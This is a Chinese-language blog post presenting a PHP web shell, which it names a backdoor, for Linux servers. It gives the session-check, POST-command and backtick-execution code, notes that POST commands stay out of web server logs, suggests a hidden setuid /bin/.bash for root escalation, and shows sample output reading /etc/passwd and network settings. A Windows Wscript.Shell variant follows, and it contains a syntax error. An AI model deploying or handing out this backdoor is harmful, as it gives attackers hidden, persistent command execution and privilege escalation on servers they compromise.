Linux下基于php的shell页面--php后门

    在类UNIX操作系统服务器，比如UNIX、GNU/Linux、BSD等，php有`command`(键盘中，数字键1前面的按键)功能，即来实现shell语句的执行。

    该 php的 shell页面也是，利用 POST提交要执行的 shell语句（POST数据，在apache等 Web Server的日志中将不被记录），用`/bin/bash -c $shell`来执行shell，然后返回运行结果。

    程序中，还加入了session的判断，来验证和限制当前使用者。

    程序开头定义了正确的账户密码，为

$c_username = 'dorainm';
$c_password = '[e-mail]';

    session_check 函数是用于检测 session的。

function session_check()
{
    global $c_username;
    global $c_password;

    if( $_SESSION['username']==$c_username &&
     $_SESSION['password']==$c_password )
    {
        return true;
    }
    else
    {
        return false;
    }
}

    当判断 session不正确，那么程序将销毁 session，返回登陆验证页面，session_distory函数实现session的销毁的。

function session_distory()
{
    $_SESSION = array();
    session_unset();
    session_destroy();
}

    好，session验证就介绍到这里，看shell提交页面的代码。

<form method="POST">
command: <input class="txt" name="cmd" value=""> <input class="btn" type="submit" value="run">
</form>

    然后程序通过POST捕捉提交的语句，然后执行，反馈

    if( isset( $_POST['cmd'] ) )
    {
        $cmd = $_POST['cmd'];
        
        $cmd = strip_tags($cmd);
        $cmd = trim($cmd);
        //$cmd = htmlspecialchars($cmd);
        $cmd = addslashes($cmd);
    }
    ... ...
     if( $cmd )
     {
         $result = `$shell -c "$cmd"`;
        
         if( $result )
         {
             echo "

";

             echo $result;

             echo "

";
         }
     }

    下面是运行效果

command:

apache

    提权功能大家自己想，比如复制了一个u+s的 shell叫做 /bin/.bash，我们可以让程序以`/bin/.bash -c $shell`来运行，就有 root权限了。
    再看 /etc/passwd。

command:

root:x:0:0:root:/root:/bin/bash
dorainm:x:1000:1000::/home/dorainm:/bin/bash
vsftpd:x:47:47::/mnt/vsftp:/bin/false
mysql:x:80:80::/usr/local/mysql/var/mysql:/bin/false
apache:x:50:50::/var/www/htdocs:/bin/false

    lfs系统，很少的用户，嘻嘻~
    再看看网络情况

command:

eth0      Link encap:Ethernet  HWaddr 00:04:61:5C:E6:2D  
          inet addr:10.0.1.44  Bcast:10.0.1.255  Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:13829844 errors:0 dropped:0 overruns:0 frame:0
          TX packets:12775238 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:1863075495 (1776.7 Mb)  TX bytes:632811433 (603.4 Mb)
          Interrupt:16 Base address:0xa000 

lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:2990 errors:0 dropped:0 overruns:0 frame:0
          TX packets:2990 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:1148263 (1.0 Mb)  TX bytes:1148263 (1.0 Mb)

vmnet1    Link encap:Ethernet  HWaddr 00:50:56:C0:00:01  
          inet addr:192.168.152.1  Bcast:192.168.152.255  Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:6 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:0 (0.0 b)  TX bytes:0 (0.0 b)

vmnet8    Link encap:Ethernet  HWaddr 00:50:56:C0:00:08  
          inet addr:172.16.144.1  Bcast:172.16.144.255  Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:6 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:0 (0.0 b)  TX bytes:0 (0.0 b)

    下面是源代码

文件:	shell.php.tar.gz
大小:	1KB
下载:	下载

ps:
    如果是win32操作系统的服务器，可以用wscript来运行命令，喜欢的自己添加进去吧

<?php
$phpwsh=new COM("Wscript.Shell") or die("Create Wscript.Shell Failed!");
$exec=$phpwsh->exec("cmd.exe /c ".$shell."");
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();


echo "

".$stroutput."

".;
?>